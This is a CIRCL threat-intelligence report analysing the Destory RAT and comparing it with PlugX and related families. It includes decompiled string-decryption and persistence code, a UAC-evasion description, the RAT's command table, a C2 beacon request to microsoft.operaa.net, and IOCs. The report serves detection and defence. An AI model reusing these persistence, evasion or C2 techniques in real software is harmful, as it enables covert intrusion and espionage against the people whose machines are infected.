Overview

CIRCL analyzed a malware sample which was only sporadically detected by just a handful antivirus engines, based on heuristic detection. CIRCL analyzed the entire command structure of the malware and was able to attribute this specific malware to the Destory RAT family. The malware is a feature-rich Remote Access Tool.

The malware is used by a specific group of attackers specialized in industrial espionage starting from 2007 (Command Five). CIRCL published this report about Destory RAT family due to the regular confusion with the PlugX malware family. PlugX and Destory RAT malware are technically different for their respective initialization phase, utilized obfuscation techniques and other parts that will be outlined in this document, showing that both families are initially coming from the same malware writers, following the same internal and network communication protocols and using the same code for the vast majority of the code.

All known malware family members (PlugX, Gulpix, Korplug, Destory, Thoper, Sogu, TVT) are briefly discussed in this document, showing differences and similarities that could lead to the assumption that an initial code base has been shared among different teams and used/enhanced for different purposes.

Static Analysis

Sample A

Hashes:

Type Hash MD5 801389d08baa4144018460fbe95da5ea SHA1 c1f8738b3d7ef40177becc0ffde9321a03ef961a SHA-256 217fe60d2ecea69055f93e86225e3596709f2e1baf458476d340726fdc8d5653 ssdeep 3072:G1705dXa7hDQiO1rQVHQ9haRPvo7oAfuSA2GR2N+S8f9:GNcdXL1rQVHehaRPvo7oAW8kQO9

VirusTotal results for sample A

No detections

File characteristics

Meta data

Name: win3dx.DLL Size: 206848 bytes Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Date: 0x4E5DB013 [Wed Aug 31 03:52:51 2011 UTC] EP: 0x10001b10 .text 0/5 CRC: Claimed: 0x0, Actual: 0x32b19 [SUSPICIOUS]

Resource entries

We will not speculate about the following, instead we leave it to the reader to make an educated guess (or to discuss the possible scenarios):

Name RVA Size Lang Sublang Type -------------------------------------------------------------------------------- RT_DIALOG 0x9b340 0x9c LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED data RT_VERSION 0x9b0a0 0x29c LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED data

Version info

LegalCopyright: Copyright (C) 2011 InternalName: SafeSvc.exe FileVersion: 1.0.0.1 CompanyName: SafeSvc ProductName: SafeSvc ProductVersion: 1.0.0.1 FileDescription: SafeSvc OriginalFilename: SafeSvc.exe Translation: 0x0409 0x04b0

Sections

Entropy analysis by section reveals high amount of randomness in .data and .rdata section, which is an indicator for compressed/encrypted content, which later turns out to be the case.

Name VirtAddr VirtSize RawSize Entropy -------------------------------------------------------------------------------- .text 0x1000 0x2a29e 0x2a400 6.392526 .rdata 0x2c000 0x3f36 0x4000 7.058395 [SUSPICIOUS] .data 0x30000 0x6aa2e 0xa00 7.302812 [SUSPICIOUS] .rsrc 0x9b000 0x3e0 0x400 3.064398 .reloc 0x9c000 0x31d6 0x3200 6.426904

SECTION 1 (.text ): virtual size : 0002A29E ( 172702.) virtual address : 00001000 section size : 0002A400 ( 173056.) offset to raw data for section: 00000400 offset to relocation : 00000000 offset to line numbers : 00000000 number of relocation entries : 0 number of line number entries : 0 alignment : 0 byte(s) Flags 60000020: text only Executable Readable SECTION 2 (.rdata ): virtual size : 00003F36 ( 16182.) virtual address : 0002C000 section size : 00004000 ( 16384.) offset to raw data for section: 0002A800 offset to relocation : 00000000 offset to line numbers : 00000000 number of relocation entries : 0 number of line number entries : 0 alignment : 0 byte(s) Flags 40000040: data only Readable SECTION 3 (.data ): virtual size : 0006AA2E ( 436782.) virtual address : 00030000 section size : 00000A00 ( 2560.) offset to raw data for section: 0002E800 offset to relocation : 00000000 offset to line numbers : 00000000 number of relocation entries : 0 number of line number entries : 0 alignment : 0 byte(s) Flags C0000040: data only Readable Writable SECTION 4 (.rsrc ): virtual size : 000003E0 ( 992.) virtual address : 0009B000 section size : 00000400 ( 1024.) offset to raw data for section: 0002F200 offset to relocation : 00000000 offset to line numbers : 00000000 number of relocation entries : 0 number of line number entries : 0 alignment : 0 byte(s) Flags 40000040: data only Readable SECTION 5 (.reloc ): virtual size : 000031D6 ( 12758.) virtual address : 0009C000 section size : 00003200 ( 12800.) offset to raw data for section: 0002F600 offset to relocation : 00000000 offset to line numbers : 00000000 number of relocation entries : 0 number of line number entries : 0 alignment : 0 byte(s) Flags 42000040: data only Discardable Readable

Export table

Flags : 00000000 Time stamp : Wed Aug 31 05:52:51 2011 Version : 0.0 DLL name : Rfu. Ordinals base : 1. (00000001) # of Addresses: 18. (00000012) # of Names : 18. (00000012) 1. 00001DE0 SdxdAnr 2. 00001E10 SdxdCukhl 3. 00001C40 SdxdDlfisr 4. 00001C10 SdxdEfck 5. 00001E70 SdxdFcfgy 6. 00001DF0 SdxdFunq 7. 00001CD0 SdxdGivnlc 8. 00001E60 SdxdLj 9. 00001C00 SdxdLjykq 10. 00001C20 SdxdMs 11. 000019F0 SdxdPv 12. 00001E40 SdxdPyyiw 13. 00001DD0 SdxdRhio 14. 00001BE0 SdxdTvdxj 15. 00001E80 SdxdUdfae 16. 00001E20 SdxdWmnq 17. 00001BF0 SdxdWqn 18. 00001D40 SdxdZbvge

Import table

Time stamp : 00000000: not bound ForwarderChain: 00000000 DLL name : 0002F94E: KERNEL32.dll Name table : 0002F5E4 Address table : 0002C088 1. hint=0125 FileTimeToSystemTime 2. hint=0203 GetLocalTime 3. hint=0447 SetConsoleTitleA 4. hint=0107 EnumSystemCodePagesA 5. hint=02CF HeapFree 6. hint=0003 AddAtomA 7. hint=04CB TransmitCommChar 8. hint=023C GetPrivateProfileIntW 9. hint=0060 CompareFileTime 10. hint=02CC HeapCompact 11. hint=0098 CreateMailslotA 12. hint=0484 SetProcessWorkingSetSize 13. hint=0424 SetCommMask 14. hint=04B2 Sleep 15. hint=0069 ConvertDefaultLocale 16. hint=0156 FlushConsoleInputBuffer 17. hint=02DC InitAtomTable 18. hint=041E SetCalendarInfoA 19. hint=039A PulseEvent 20. hint=0204 GetLocaleInfoA 21. hint=01C8 GetDateFormatW 22. hint=015C FoldStringW 23. hint=033C LoadLibraryA 24. hint=0245 GetProcAddress 25. hint=01E7 GetFileAttributesExW 26. hint=00FA EnumLanguageGroupLocalesW 27. hint=008F CreateFileW 28. hint=0202 GetLastError 29. hint=0466 SetFilePointer 30. hint=0525 WriteFile 31. hint=0052 CloseHandle 32. hint=0531 WriteProfileStringA 33. hint=015A FlushViewOfFile 34. hint=02F7 IsBadReadPtr 35. hint=0293 GetTickCount Time stamp : 00000000: not bound ForwarderChain: 00000000 DLL name : 0002FADA: USER32.dll Name table : 0002F674 Address table : 0002C118 1. hint=00EF EnumThreadWindows 2. hint=0220 OemKeyScan 3. hint=0265 ReleaseDC 4. hint=0007 AnimateWindow 5. hint=010E GetClassInfoW 6. hint=0112 GetClassNameW 7. hint=02CA SetWindowTextA 8. hint=031D ValidateRgn 9. hint=01A3 GetWindowTextW 10. hint=014B GetMenu 11. hint=00CE DrawTextExA 12. hint=011B GetClipboardViewer 13. hint=009B DefWindowProcA 14. hint=0113 GetClassWord 15. hint=00F8 FindWindowExA 16. hint=0009 AppendMenuA 17. hint=027E SendNotifyMessageW 18. hint=0032 CharPrevA 19. hint=0025 ChangeDisplaySettingsExW 20. hint=0037 CharToOemBuffW 21. hint=0329 WinHelpW 22. hint=010D GetClassInfoExW 23. hint=015F GetMonitorInfoW Time stamp : 00000000: not bound ForwarderChain: 00000000 DLL name : 0002FBF4: GDI32.dll Name table : 0002F5A8 Address table : 0002C04C 1. hint=01D2 GetEnhMetaFileDescriptionA 2. hint=021B GetTextExtentExPointW 3. hint=022D GetWorldTransform 4. hint=02A4 SetTextAlign 5. hint=0221 GetTextExtentPointW 6. hint=0267 ResetDCW 7. hint=02B5 StrokeAndFillPath 8. hint=002E CreateColorSpaceW 9. hint=0290 SetICMProfileW 10. hint=023E OffsetViewportOrgEx 11. hint=0200 GetPaletteEntries 12. hint=01A7 GetBitmapBits 13. hint=0041 CreateFontW 14. hint=0253 PolyPolyline Time stamp : 00000000: not bound ForwarderChain: 00000000 DLL name : 0002FD94: ADVAPI32.dll Name table : 0002F55C Address table : 0002C000 1. hint=022F ReadEventLogW 2. hint=0176 InitializeAcl 3. hint=0021 AllocateLocallyUniqueId 4. hint=01EB ObjectDeleteAuditAlarmA 5. hint=0147 GetSecurityDescriptorControl 6. hint=0285 RegisterServiceCtrlHandlerA 7. hint=0175 ImpersonateSelf 8. hint=0051 CheckTokenMembership 9. hint=00FC EnumDependentServicesA 10. hint=00D8 DecryptFileW 11. hint=0136 GetLengthSid 12. hint=0231 RegConnectRegistryA 13. hint=0180 IsTextUnicode 14. hint=003B BackupEventLogW 15. hint=02B6 SetSecurityDescriptorDacl 16. hint=02B9 SetSecurityDescriptorRMControl 17. hint=0158 GetSidSubAuthorityCount 18. hint=023D RegDeleteKeyA

Strings

The strings embedded in clear text are corresponding to the import and export section’s names as well as the DLL name itself (‘Rfu.’). This indicates that the remaining strings are encrypted/encoded in some or other way.

Sleep GetTickCount IsBadReadPtr FlushViewOfFile WriteProfileStringA CloseHandle WriteFile SetFilePointer GetLastError CreateFileW EnumLanguageGroupLocalesW GetFileAttributesExW GetProcAddress LoadLibraryA FoldStringW GetDateFormatW GetLocaleInfoA PulseEvent SetCalendarInfoA InitAtomTable FlushConsoleInputBuffer ConvertDefaultLocale SetCommMask SetProcessWorkingSetSize CreateMailslotA HeapCompact CompareFileTime GetPrivateProfileIntW TransmitCommChar AddAtomA HeapFree EnumSystemCodePagesA SetConsoleTitleA GetLocalTime FileTimeToSystemTime KERNEL32.dll GetClassInfoExW WinHelpW CharToOemBuffW ChangeDisplaySettingsExW CharPrevA SendNotifyMessageW AppendMenuA FindWindowExA GetClassWord DefWindowProcA GetClipboardViewer GetMonitorInfoW DrawTextExA GetMenu GetWindowTextW ValidateRgn SetWindowTextA GetClassNameW GetClassInfoW AnimateWindow ReleaseDC OemKeyScan EnumThreadWindows USER32.dll GetTextExtentPointW ResetDCW StrokeAndFillPath CreateColorSpaceW SetICMProfileW OffsetViewportOrgEx GetPaletteEntries GetBitmapBits CreateFontW PolyPolyline SetTextAlign GetWorldTransform GetTextExtentExPointW GetEnhMetaFileDescriptionA GDI32.dll SetSecurityDescriptorDacl SetSecurityDescriptorRMControl GetSidSubAuthorityCount BackupEventLogW IsTextUnicode RegConnectRegistryA GetLengthSid DecryptFileW EnumDependentServicesA CheckTokenMembership ImpersonateSelf RegisterServiceCtrlHandlerA GetSecurityDescriptorControl ObjectDeleteAuditAlarmA AllocateLocallyUniqueId InitializeAcl ReadEventLogW RegDeleteKeyA ADVAPI32.dll Rfu. SdxdAnr SdxdCukhl SdxdDlfisr SdxdEfck SdxdFcfgy SdxdFunq SdxdGivnlc SdxdLj SdxdLjykq SdxdMs SdxdPv SdxdPyyiw SdxdRhio SdxdTvdxj SdxdUdfae SdxdWmnq SdxdWqn SdxdZbvge

Analysis of Sample A

Initialization phase I

In a first initialization phase, the malware performs the following actions:

resolving addresses of wsprintfA and wsprintfW (which is used early for the exception handling in (6)) determining system and operational directories (in dependency of operating system) determining filename of itself (from the running image) setting global write Event (used for threat synchronization) reading config (including hostname of command and control server and file/server name) setting exception handler

Point 5 is rather interesting: if the malware finds out to be run in demo mode, it would pop-up a message box saying ‘Config Destory’ (as in the incorrect spelling). This is where the malware family name is coming from. PlugX does a similar thing, calling a message box saying “THIS IS A DEMO VERSION!!!”.

Characteristical string decryption

In contrast to many other malicious software that achieves to hide self-revealing strings from the analyst, almost every single string that is being used within this malware is decrypted during runtime, on-the-fly, only when explicitly needed and it is taken care that the decrypted string is wiped immediately after its use.

Example: dec_string=decrypt(enc_string) -> pAddress=GetProcAddress(dec_string) -> wipe(dec_string)

decrypted_str_wsprintfA = decrypt_string(&decrypted, &encrypted, 10, 0xB9F8BB34, &dec_buffer); lpProcName_wsprintfA = return(decrypted_str_wsprintfA); wsprintfA = get_procaddress(&user32_dll_0, lpProcName_wsprintfA); wipe_memory(&decrypted);

struct_decrypt *__thiscall decrypt_string(struct_decrypt *this, int encrypted, int len, int key, int decrypted) { int i; int a; int b; int c; int d; this->len = len; this->decrypted = decrypted; a = key; b = key; c = key; d = key; for ( i = 0; i < len; ++i ) { d = 0xFFFFFFF9 * d - 3; a = 0xFFFFFFE1 * a - 5; b = 0x81 * b + 7; c = 0x201 * c + 9; *(this->decrypted + i) = (c + b + a + d) ^ *(i + encrypted); } return this;

Right after the decrypted string is no longer of any use, it is wiped by overwriting the memory with zeros:

int __thiscall wipe_memory(int this) { int result; int i; for ( i = 0; i < *(this + 4); ++i ) { *(*this + i) = 0; result = i + 1; } return result;

For the analyst, keeping the strings intact is much more convenient. Patching the function by replacing some instructions with NOPs is an option.

Initialization phase II

The second phase is initiated with a check regarding how the malware has been executed. If the filename of the DLL is not CRYPTBASE.DLL, the following new process is created with CreateProcessW, before the calling process is terminated:

rundll32.exe win3dx.DLL,SdxdPv 0

Calling the file with rundll32.exe has an interesting side effect: the malware is immune against Microsoft AppLocker.

Initialization phase III

The new process is calling function ordinal #11 (SdxdPv), the sole exported function with actual functionality. The next argument ‘0’ is evaluated in the evaluate_commandline() function:

int evaluate_commandline() { const WCHAR *lpCommandLine; int arg; bool match; struct_hMem *hMem; int pNumArgs; pNumArgs = 0; lpCommandLine = GetCommandLineW_0(); hMem = CommandLineToArgvW_0(lpCommandLine, &pNumArgs); if ( pNumArgs >= 4 ) { match = lstrcmpiW_0(hMem->argument, "0") == 0; if ( match ) { make_persistent_and_run(); EXIT: LocalFree_0(hMem); ExitProcess_0(0); } match = lstrcmpiW_0(hMem->argument, "1") == 0; if ( match ) { make_persistent_and_exit(); goto EXIT; } match = lstrcmpiW_0(hMem->argument, "2") == 0; if ( match ) { initialize_Keylogger(); goto EXIT; } match = lstrcmpiW_0(hMem->argument, "3") == 0; if ( match ) { control_threads(0); goto EXIT; } } }

Accordingly, make_persistent_and_run() is executed.

LSTATUS execute_depending_on_elevation_type() { LSTATUS result; struct _OSVERSIONINFOW VersionInformation; VersionInformation.dwOSVersionInfoSize = 284; if ( GetVersionExW_0(&VersionInformation) ) { if ( VersionInformation.dwMajorVersion != 5 || VersionInformation.dwMinorVersion ) { if ( VersionInformation.dwMajorVersion != 5 || VersionInformation.dwMinorVersion != 1 ) { if ( VersionInformation.dwMajorVersion != 5 || VersionInformation.dwMinorVersion != 2 ) { if ( VersionInformation.dwMajorVersion != 6 || VersionInformation.dwMinorVersion ) { if ( VersionInformation.dwMajorVersion != 6 || VersionInformation.dwMinorVersion != 1 ) result = make_persistent_in_autorun_and_run();// -> 6.2, 6.3 (Windows 8.x) else result = make_persistent_and_run_on_Windows_7();// -> 6.1 (Windows 7) } else { result = make_persistent_and_run_on_Windows_Vista();// -> 6.0 (Windows Vista) } } else { result = make_persistent_and_run_on_XP();// -> 5.2 (Server 2003, XP x64) } } else { result = make_persistent_and_run_on_XP();// -> 5.1 (Windows XP) } } else { result = return_50(); // -> 5.0 (Windows 2000) } } else { result = RtlGetLastWin32Error_0(); } return result;

When the malware author created this decision tree, he might have abused illegal substances. If the malware author thinks this statement is an injustice because the weird logic is just a decompiler artifact, he is invited to contact us.

Depending on the version of Windows the malware is currently running, different junctions are taken to make the software persistent and to install and run it with the highest possible privileges.

The simplest way is taken in make_persistent_in_autorun_and_run(), where the Autorun key in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run is set to call

rundll32.exe win3dx.DLL,SdxdPv 3

The meaning of option ‘3’ is described in the next chapter.

This function is used for the latest Windows operating systems (Windows 8.x), but is also the fallback method for all other methods described here, when administrative privileges are not available or not exploitable.

In make_persistent_and_run_on_XP(), which is used for Windows XP, the malware is installed as a local service when administrative privileges for the user running the current process are available or if the process is started as SYSTEM user. The service’s name in this case is win3dx and is also calling function SdxdPv of the same malware binary in the context of svchost.exe. On successful installation, the service is started. This happens in the function create_and_start_service(), which is also reused in similar contexts.

Without administrative privileges, the aforementioned fallback to make_persistent_in_autorun_and_run() is taken.

On Windows 7, if administrative privileges are available, create_and_start_service() is called.

int make_persistent_and_run_on_Windows_7() { int result; int is_a_user; int is_an_administrator; int elevation_type; result = is_user(&is_a_user); if ( !result ) { if ( is_a_user ) { result = is_administrator(&is_an_administrator); if ( !result ) { if ( is_an_administrator ) { result = get_token_elevation(&elevation_type); if ( !result ) { switch ( elevation_type ) { case TokenElevationTypeDefault: result = create_and_start_service(); break; case TokenElevationTypeFull: result = create_and_start_service(); break; case TokenElevationTypeLimited: result = use_UAC_evasion(); break; default: result = 1359; break; } } } else { result = make_persistent_in_autorun_and_run(); } } } else { result = create_and_start_service(); } } return result; }

Otherwise, a classical UAC evasion technique is used (using sysprep.exe and CRYPTBASE.DLL) to run the code. If none of this is possible, installation is done in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, unless the context is SYSTEM, which would lead to create_and_start_service(), too.

In Windows Vista, the logic is very similar, except that use_UAC_evasion() is replaced with ShellExecute_elevate_with_runas():

pExecInfo.cbSize = 60; pExecInfo.lpFile = L"RUNDLL32.EXE"; pExecInfo.lpParameters = "rundll32.exe win3dx.DLL,SdxdPv 0"; pExecInfo.lpVerb = L"RUNAS"; pExecInfo.nShow = 1; pExecInfo.fMask = 0; while ( !ShellExecuteExW_0(&pExecInfo) && RtlGetLastWin32Error_0() == ERROR_CANCELLED )

Post-initialization (main loop)

When function SdxdPv is called with option ‘3’, the main part of the malicious software starts. First, WSAStartup is called and privileges are adjusted (SeDebugPrivilege, SeTcbPrivilege). Immediately after, a couple of threads is being started:

CXGather::GtProc - thread management and thread communication

Cxsniffer::Snifferproc - network sniffer

CXSessionServer::SsStartProc - starts pipe communication (CXSessionServer::SsStartPipe)

Keylogger - logging user input (rundll32.exe win3dx.DLL,SdxdPv 2)

CXOnline::OlStartProc - initializes client-to-server communication

As reference, these are the identified functions by internal thread name:

Thread name Function CXGather::GtProc Thread control CXOnline::OlStartProc starts CXOnline::OlStartProcPipe and CXSoHttp::SoWorkProc CXOnline::OlStartProcPipe initializes pipe communication objects and runs initial commands CXSessionServer::SsStartPipe starts pipe communication and evaluates received commands evaluate_commands() CXSessionServer::SsStartProc initializes pipe communication CXSniffer::SnifferProc starts network sniffer CXSoHttp::SoWorkProc stars Internet connection CXFuncShell::ShellT1 CXFuncShell::ShellT2 Remote Shell CXFuncSystem::SysMessageBoxProc shows message box to the screen CXFuncTelnet::TelnetT1 CXFuncTelnet::TelnetT2 Asynchronous Telnet server

CXOnline::OlStartProc initializes the pipe communication (CXSessionServer::SsStartPipe). It also collects a some information about the computer, the user, the time, windows configuration and a screenshot and registers the client to the server.

From here, everything turns in an endless loop where commands are being evaluated evaluate_commands() and executed accordingly. The commands are in the following table.

Command switch:

The following table shows the commands the malware has implemented as malicious payload. This list of commands is comparable to other known malware families, for instance

Code Command 0x1000 status: PerformanceCounter 0x1001 start Process, get overview (user, computer, screenshot, …) 0x1002 start pipe communication 0x1003 echo input back (command, payload, …) 0x1005 run dll 0x2000 lock workstation 0x2001 forcefully log off user 0x2002 reboot system forcefully 0x2003 shutdown system forcefully 0x2005 on-screen message 0x3000 collect disk information (drives, types, space) 0x3001 find file 0x3004 read file (with size and access times) 0x3007 write decompressed buffer into file 0x300A create directory 0x300B test if file can be opened 0x300C creates process in hidden window 0x300D copy file 0x300E get environment info 0x300F get malware base directory 0x4000 remote desktop 0x4100 take screenshot and send 0x5000 get process information 0x5002 list processes 0x5004 terminate process 0x6000 service list 0x6002 delete service 0x6003 change service configuration 0x6004 start service 0x6005 stop service 0x7002 remote shell 0x7100 telnet server 0x7101 writeConsoleInput 0x7102 generateConsoleCtrlEvent 0x9000 registry enumerte subkeys 0x9002 create key 0x9003 delete subkey recursively 0x9004 move registry key 0x9005 enumerate values from key 0x9007 query value or create key and set value 0x9008 delete value 0x9009 enumerate subkeys or create key and set value 0xA000 enumerate network resources 0xB000 portmapper 0xC000 SQL query 0xD000 get TCP table 0xD002 get UDP table 0xD004 kill TCP connection

Comparison with other malware from this family

It is pretty interesting to compare this list of commands with the one in Annex D of Command and Control in the Fifth Domain - it is most likely not coincidence that so many function codes are the same for both malwares. That indicates proximity to the Murcy protocol described in the same document:

Match Code Command 0x1003 Generate Sxl value from the registry key group. 0x1004 Add Sxl description to registry key. x 0x2000 Lock computer. x 0x2001 Log off. x 0x2002 Reboot. x 0x2003 Shutdown. 0x2004 Execute file. 0x2005 Execute msg.exe. x 0x3000 Get system drive information. x 0x3001 File search. 0x3003 File search. 0x300A Create directory. 0x300B Create process. 0x300C Delete file(s). 0x3200 Perform file operations. x 0x5000 Obtain process information. x 0x5002 Obtain process information. x 0x5004 Kill process. x 0x6000 List services. x 0x6002 Delete service. x 0x6003 Modify service configuration. x 0x6004 Start service. x 0x6005 Stop service. 0x7000 Input/output generated in the process with a named pipe. Get environment string. 0x8000 Get environment string.

It is even more interesting to compare the list of commands with the one reverse engineered by CIRCL in 2013 on a PlugX variant page 11. The commands are basically identical between the two malware samples. And even more interesting, comparison between PlugX code and Destory RAT code

PlugX Destory subcommand Description x 0x1000 status: PerformanceCounter x 0x1001 start Process, get overview (user, computer, screenshot, …) x 0x1002 start pipe communication x 0x1003 echo input back (command, payload, …) x 0x1005 run dll x x 0x2000 lock workstation x x 0x2001 shutdown workstation (forced) x x 0x2002 reboot workstation x x 0x2003 shutdown workstation (graceful) x x 0x2005 show messagebox x x 0x3000 enumerate drives x x 0x3001 find file x 0x3002 find file recursively x x 0x3004 read file x x 0x3007 write file x x 0x300A create directory x x 0x300C create process on hidden desktop x x 0x300D file copy/rename/delete/move x x 0x300E get expanded environment string x x 0x4000 Remote Desktop capabilities x 0x4004 send mouse event x 0x4005 send keyboard event x 0x4006 send CTRL-Alt-Delete x x 0x4100 take screenshot x 0x5000 create process x 0x5000 get process information x 0x5001 enumerate processes x 0x5002 kill process x 0x5002 list processes x 0x5004 terminate process x x 0x6000 query service config x 0x6001 change service config (forced) x 0x6002 start service x 0x6002 delete service x 0x6003 control service x 0x6004 delete service x 0x6004 terminate process x 0x6005 stop service x x 0x7002 start a cmd shell x x 0x7100 start telnet server x x 0x9000 enumerate keys x 0x9001 create key x 0x9002 delete key x 0x9002 create key x 0x9003 copy key x 0x9003 delete subkey recursively x 0x9004 enumerate values x 0x9004 move registry keys x 0x9005 set value x 0x9005 enumerate values for key x 0x9006 get value x 0x9007 delete value x 0x9007 query value or create key and set value x 0x9008 delete value x 0x9009 enumerate subkeys or create key and set value x x 0xA000 enumerate network resources x x 0xB000 starts port mapping x x 0xC000 get data source information x 0xC001 get driver description x 0xC002 execute statement x x 0xD000 get TCP table x x 0xD001 get UDP table x x 0xD002 set TCP entry x 0xE000 starts key logger thread

Despite the fact that there are a lot of similarities between the command structures of both versions, it seems the command layout has changed between versions. The internal version of the analyzed PlugX is 20120123

mov dword ptr [ebx], 20120123h

while the version of Destory is 20100921

mov dword ptr [ecx], 20100921h

This version value is contained in several functions taking care of communication back to the C&C server.

So while we are already comparing different samples of malware belonging to this family, we were triggered to compare other samples belonging to this family, according to AV vendors. Often, the names PlugX (Gulpix, Korplug), Destory, Thoper, TVT, and Sogu are used synonymously, as mentioned for instance in http://labs.lastline.com/an-analysis-of-plugx. That’s why we collected the following samples:

Name Hash PlugX (MS, Ikarus)

Gulpix (Avast)

Korplug (Symantec) f1f48360f95e1b43e9fba0fec5a2afb8

(decrypted: 6F7AB6849E505D1028A217685AF6FDCD) Destory 801389d08baa4144018460fbe95da5ea Thoper.B (MS) af5395a22d67bf61294b538c8c5eda5b Thoper.E (MS) 281da60d42e35fb61bad400edfd94df0 Sogu (Symantec) 40d6d6a65898256dad7d5a679cab5999 TVT (Ikarus) 642332869cdb6bda8156a43a2779e99d

We briefly analyzed these samples regarding a set of aspects. The result is displayed in the following table:

Feature PlugX Destory Thoper.B Thoper.E Sogu TVT is .dll x x x x is .exe x x contains debug info (pdb) x using signed code x global decryption x on-the-fly decryption x x x x x o-t-f decryption of function names x x x x contains junk code x x x x x has exports x (18) x (1) x (27) x (69) x (18) large command func x x x x x version 20120123 x version 20100921 x x x x x comparable # of features x x x x x x Number of functions ~ 470 ~ 680 ~ 700 ~ 660 ~ 710 ~ 800

PlugX in the version we analyzed appears to be the most recent of all these, comparing function codes, version string and the interesting (code-signed) start-up phase. But it is not as careful as it’s siblings when it comes to encryption, because it only globally decrypts all strings.

Destory, Thoper and Sogu have almost the same number of functions and are very similar, even if some are run as a DLL and others not.

TVT looks like a hybrid where encrypted and non-encrypted strings are used. Function names for GetProcAddress are always in unencrypted, all other strings use the same on-the-fly decryption method as in the other samples (except PlugX).

If Antivirus vendors have more information about the history of this entire family or if they want to work on this with us, the are welcome to contact us.

Network

The communication is done in HTTP on port 80. The communication mechanism is proxy aware and uses the system wide proxy configuration, if enabled. The author(s) of the malware are lacking attention to detail in the case of the user agent: the string is lacking a closing bracket:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;

Initial requests are done in the format:

POST http://microsoft.operaa.net/update?id=3ca2507c Accept: */* X-Session: 0 X-Status: 0 X-Size: 61456 X-Sn: 1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1; Host: microsoft.operaa.net Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

This is congruent with the facts in the aforementioned document from Command and Control in the Fifth Domain. The document has detailed information about the protocol.

IOCs

Indicators of Compromise following Malware Information Sharing Platform format. If you are an organization/company based in Luxembourg or a TI accredited CERTs, you can request an access to the MISP platform.

MISP UUID is 53886b57-a3d8-43a7-8f4d-472a950d2109.

category type value Payload installation md5 801389d08baa4144018460fbe95da5ea Payload installation sha1 c1f8738b3d7ef40177becc0ffde9321a03ef961a Payload installation sha256 217fe60d2ecea69055f93e86225e3596709f2e1baf458476d340726fdc8d5653 Payload installation filename win3dx.DLL Artifacts dropped pattern-in-memory win3dx.DLL Network activity hostname microsoft.operaa.net Network activity ip-dst 123.254.104.51 Network activity hostname microsoftno.operaa.net Network activity ip-dst 111.68.10.83 Network activity ip-dst 111.68.10.85 Network activity user-agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;

A MISP XML file is available if you want to import the indicators into MISP or any other threat indicators sharing platform.

Recommendations

CIRCL recommends to review the IOCs of this report and compare them with servers in the infrastructure of your organization which produce log files including proxies, A/V and system logs.

Server Intel

The server (123.254.104.51 with the PTR record hkhdc.laws.ms) used for this campaign is hosted at AS24544 Pang International Limited in Hong Kong. The subnet is announced by the AS24544 starting from 2012-05-06.

Previously (in 2013), the (111.68.10.83 and 111.68.10.85) server was hosted at NETSEC-HK Unit 1205-1207 in Hong Kong.

Classification of this document

TLP:WHITE information may be distributed without restriction, subject to copyright controls.

Acknowledgment

CIRCL thanks CERT-BUND for sharing Sample A.

References

Revision